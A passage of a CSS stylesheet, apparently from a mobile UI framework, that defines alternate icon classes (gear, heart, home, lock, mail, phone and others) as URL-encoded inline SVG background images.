552%2C6%2C7%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-forbidden:after, .ui-alt-icon .ui-icon-forbidden:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M12.601%2C11.187C13.476%2C10.018%2C14%2C8.572%2C14%2C7c0-3.866-3.134-7-7-7C5.428%2C0%2C3.982%2C0.524%2C2.813%2C1.399L2.757%2C1.343L2.053%2C2.048%20L2.048%2C2.053L1.343%2C2.758l0.056%2C0.056C0.524%2C3.982%2C0%2C5.428%2C0%2C7c0%2C3.866%2C3.134%2C7%2C7%2C7c1.572%2C0%2C3.018-0.524%2C4.187-1.399l0.056%2C0.057%20l0.705-0.705l0.005-0.005l0.705-0.705L12.601%2C11.187z%20M7%2C2c2.761%2C0%2C5%2C2.238%2C5%2C5c0%2C1.019-0.308%2C1.964-0.832%2C2.754L4.246%2C2.832%20C5.036%2C2.308%2C5.981%2C2%2C7%2C2z%20M7%2C12c-2.761%2C0-5-2.238-5-5c0-1.019%2C0.308-1.964%2C0.832-2.754l6.922%2C6.922C8.964%2C11.692%2C8.019%2C12%2C7%2C12z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-forward:after, .ui-alt-icon .ui-icon-forward:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M13%2C4L9%2C0v3C6%2C3%2C1%2C4%2C1%2C8c0%2C5%2C7%2C6%2C7%2C6v-2c0%2C0-5-1-5-4s6-3%2C6-3v3L13%2C4z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-gear:after, .ui-alt-icon .ui-icon-gear:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M13.621%2C5.904l-1.036-0.259c-0.168-0.042-0.303-0.168-0.355-0.332c-0.092-0.284-0.205-0.559-0.339-0.82%20c-0.079-0.153-0.073-0.337%2C0.017-0.486l0.549-0.915c0.118-0.196%2C0.088-0.448-0.075-0.61l-0.862-0.863%20c-0.162-0.163-0.414-0.193-0.611-0.075l-0.916%2C0.55C9.844%2C2.182%2C9.659%2C2.188%2C9.506%2C2.109C9.244%2C1.975%2C8.97%2C1.861%2C8.686%2C1.77%20c-0.165-0.052-0.29-0.187-0.332-0.354L8.095%2C0.379C8.039%2C0.156%2C7.839%2C0%2C7.609%2C0H6.391c-0.229%2C0-0.43%2C0.156-0.485%2C0.379L5.646%2C1.415%20C5.604%2C1.582%2C5.479%2C1.718%2C5.313%2C1.77c-0.284%2C0.092-0.559%2C0.206-0.82%2C0.34C4.339%2C2.188%2C4.155%2C2.182%2C4.007%2C2.093L3.092%2C1.544%20c-0.196-0.118-0.448-0.087-0.61%2C0.075L1.619%2C2.481C1.457%2C2.644%2C1.426%2C2.896%2C1.544%2C3.093l0.549%2C0.914%20c0.089%2C0.148%2C0.095%2C0.332%2C0.017%2C0.486C1.975%2C4.755%2C1.861%2C5.029%2C1.77%2C5.314c-0.053%2C0.164-0.188%2C0.29-0.354%2C0.332L0.379%2C5.905%20C0.156%2C5.961%2C0%2C6.161%2C0%2C6.391v1.219c0%2C0.229%2C0.156%2C0.43%2C0.379%2C0.485l1.036%2C0.26C1.582%2C8.396%2C1.717%2C8.521%2C1.77%2C8.687%20c0.092%2C0.284%2C0.205%2C0.559%2C0.34%2C0.82C2.188%2C9.66%2C2.182%2C9.844%2C2.093%2C9.993l-0.549%2C0.915c-0.118%2C0.195-0.087%2C0.448%2C0.075%2C0.61%20l0.862%2C0.862c0.162%2C0.163%2C0.414%2C0.193%2C0.61%2C0.075l0.915-0.549c0.148-0.089%2C0.332-0.095%2C0.486-0.017%20c0.262%2C0.135%2C0.536%2C0.248%2C0.82%2C0.34c0.165%2C0.053%2C0.291%2C0.187%2C0.332%2C0.354l0.259%2C1.036C5.96%2C13.844%2C6.16%2C14%2C6.39%2C14h1.22%20c0.229%2C0%2C0.43-0.156%2C0.485-0.379l0.259-1.036c0.042-0.167%2C0.168-0.302%2C0.333-0.354c0.284-0.092%2C0.559-0.205%2C0.82-0.34%20c0.154-0.078%2C0.338-0.072%2C0.486%2C0.017l0.914%2C0.549c0.197%2C0.118%2C0.449%2C0.088%2C0.611-0.074l0.862-0.863%20c0.163-0.162%2C0.193-0.415%2C0.075-0.611l-0.549-0.915c-0.089-0.148-0.096-0.332-0.017-0.485c0.134-0.263%2C0.248-0.536%2C0.339-0.82%20c0.053-0.165%2C0.188-0.291%2C0.355-0.333l1.036-0.259C13.844%2C8.039%2C14%2C7.839%2C14%2C7.609V6.39C14%2C6.16%2C13.844%2C5.96%2C13.621%2C5.904z%20M7%2C10%20c-1.657%2C0-3-1.343-3-3s1.343-3%2C3-3s3%2C1.343%2C3%2C3S8.657%2C10%2C7%2C10z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-grid:after, .ui-alt-icon .ui-icon-grid:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M3%2C0H1C0.447%2C0%2C0%2C0.447%2C0%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C4%2C0.447%2C3.553%2C0%2C3%2C0z%20M8%2C0H6%20C5.447%2C0%2C5%2C0.447%2C5%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C9%2C0.447%2C8.553%2C0%2C8%2C0z%20M13%2C0h-2c-0.553%2C0-1%2C0.447-1%2C1v2%20c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V1C14%2C0.447%2C13.553%2C0%2C13%2C0z%20M3%2C5H1C0.447%2C5%2C0%2C5.447%2C0%2C6v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2%20c0.553%2C0%2C1-0.447%2C1-1V6C4%2C5.447%2C3.553%2C5%2C3%2C5z%20M8%2C5H6C5.447%2C5%2C5%2C5.447%2C5%2C6v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V6%20C9%2C5.447%2C8.553%2C5%2C8%2C5z%20M13%2C5h-2c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1V6C14%2C5.447%2C13.553%2C5%2C13%2C5z%20M3%2C10%20H1c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1v-2C4%2C10.447%2C3.553%2C10%2C3%2C10z%20M8%2C10H6c-0.553%2C0-1%2C0.447-1%2C1v2%20c0%2C0.553%2C0.447%2C1%2C1%2C1h2c0.553%2C0%2C1-0.447%2C1-1v-2C9%2C10.447%2C8.553%2C10%2C8%2C10z%20M13%2C10h-2c-0.553%2C0-1%2C0.447-1%2C1v2c0%2C0.553%2C0.447%2C1%2C1%2C1h2%20c0.553%2C0%2C1-0.447%2C1-1v-2C14%2C10.447%2C13.553%2C10%2C13%2C10z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-heart:after, .ui-alt-icon .ui-icon-heart:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C1.958c-2-3-7-2.128-7%2C1.872c0%2C3%2C4%2C7%2C4%2C7s2.417%2C2.48%2C3%2C3c0.583-0.52%2C3-3%2C3-3s4-4%2C4-7C14-0.169%2C9-1.042%2C7%2C1.958z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-home:after, .ui-alt-icon .ui-icon-home:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%227%2C0%200%2C7%202%2C7%202%2C14%205%2C14%205%2C9%209%2C9%209%2C14%2012%2C14%2012%2C7%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-info:after, .ui-alt-icon .ui-icon-info:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C0C3.134%2C0%2C0%2C3.134%2C0%2C7s3.134%2C7%2C7%2C7s7-3.134%2C7-7S10.866%2C0%2C7%2C0z%20M7%2C2c0.552%2C0%2C1%2C0.447%2C1%2C1S7.552%2C4%2C7%2C4S6%2C3.553%2C6%2C3%20S6.448%2C2%2C7%2C2z%20M9%2C11H5v-1h1V6H5V5h3v5h1V11z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-location:after, .ui-alt-icon .ui-icon-location:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C0C4.791%2C0%2C3%2C1.791%2C3%2C4c0%2C2%2C4%2C10%2C4%2C10s4-8%2C4-10C11%2C1.791%2C9.209%2C0%2C7%2C0z%20M7%2C6C5.896%2C6%2C5%2C5.104%2C5%2C4s0.896-2%2C2-2%20c1.104%2C0%2C2%2C0.896%2C2%2C2S8.104%2C6%2C7%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-lock:after, .ui-alt-icon .ui-icon-lock:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M12%2C6V5c0-2.762-2.238-5-5-5C4.239%2C0%2C2%2C2.238%2C2%2C5v1H1v8h12V6H12z%20M7.5%2C9.848V12h-1V9.848C6.207%2C9.673%2C6%2C9.366%2C6%2C9%20c0-0.553%2C0.448-1%2C1-1s1%2C0.447%2C1%2C1C8%2C9.366%2C7.793%2C9.673%2C7.5%2C9.848z%20M10%2C6H4V5c0-1.657%2C1.343-3%2C3-3s3%2C1.343%2C3%2C3V6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-mail:after, .ui-alt-icon .ui-icon-mail:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M0%2C3.75V12h14V3.75L7%2C9L0%2C3.75z%20M14%2C2H0l7%2C5L14%2C2z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-minus:after, .ui-alt-icon .ui-icon-minus:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Crect%20y%3D%225%22%20width%3D%2214%22%20height%3D%224%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-navigation:after, .ui-alt-icon .ui-icon-navigation:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2213%2C1%200%2C6%207%2C7%208%2C14%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-phone:after, .ui-alt-icon .ui-icon-phone:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M6.949%2C9.182C6.175%2C8.549%2C5.281%2C7.697%2C4.507%2C6.736C3.963%2C6.063%2C3.483%2C5.355%2C3.979%2C4.858l-3.482-3.48%20c-0.508%2C0.634-1.633%2C3.654%2C3.188%2C8.598c5.08%2C5.211%2C8.356%2C4.097%2C8.92%2C3.511l-3.396-3.399C8.734%2C10.561%2C8.123%2C10.139%2C6.949%2C9.182z%20%20M13.83%2C11.512v-0.004c0%2C0-2.648-2.646-2.649-2.647c-0.21-0.212-0.546-0.205-0.754%2C0.002L9.465%2C9.823l3.402%2C3.407%20c0%2C0%2C0.963-0.961%2C0.961-0.961l0.002-0.002C14.053%2C12.049%2C14.031%2C11.713%2C13.83%2C11.512z%20M5.202%2C3.636V3.634%20c0.222-0.222%2C0.2-0.557%2C0-0.758V2.873c0%2C0-2.726-2.725-2.727-2.726c-0.21-0.21-0.545-0.205-0.753%2C0.001L0.761%2C1.113L4.24%2C4.595%20C4.241%2C4.596%2C5.202%2C3.637%2C5.202%2C3.636z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-plus:after, .ui-alt-icon .ui-icon-plus:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C5%209%2C5%209%2C0%205%2C0%205%2C5%200%2C5%200%2C9%205%2C9%205%2C14%209%2C14%209%2C9%2014%2C9%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-power:after, .ui-alt-icon .ui-icon-power:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M11.243%2C2.408c-0.392-0.401-1.024-0.401-1.415%2C0c-0.391%2C0.401-0.391%2C1.054%2C0%2C1.455C10.584%2C4.642%2C11%2C5.675%2C11%2C6.773%20s-0.416%2C2.133-1.172%2C2.91c-1.512%2C1.558-4.145%2C1.558-5.656%2C0C3.416%2C8.904%2C3%2C7.872%2C3%2C6.773C3%2C5.673%2C3.416%2C4.64%2C4.172%2C3.863%20c0.39-0.401%2C0.39-1.054%2C0-1.455c-0.391-0.401-1.024-0.401-1.415%2C0C1.624%2C3.574%2C1%2C5.125%2C1%2C6.773c0%2C1.647%2C0.624%2C3.199%2C1.757%2C4.365%20c1.134%2C1.166%2C2.64%2C1.809%2C4.243%2C1.809c1.604%2C0%2C3.109-0.645%2C4.243-1.811C12.376%2C9.975%2C13%2C8.423%2C13%2C6.773%20C13%2C5.125%2C12.376%2C3.574%2C11.243%2C2.408z%20M7%2C8.053c0.553%2C0%2C1-0.445%2C1-1v-6c0-0.553-0.447-1-1-1c-0.553%2C0-1%2C0.447-1%2C1v6%20C6%2C7.604%2C6.447%2C8.053%2C7%2C8.053z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-recycle:after, .ui-alt-icon .ui-icon-recycle:after { background-image: 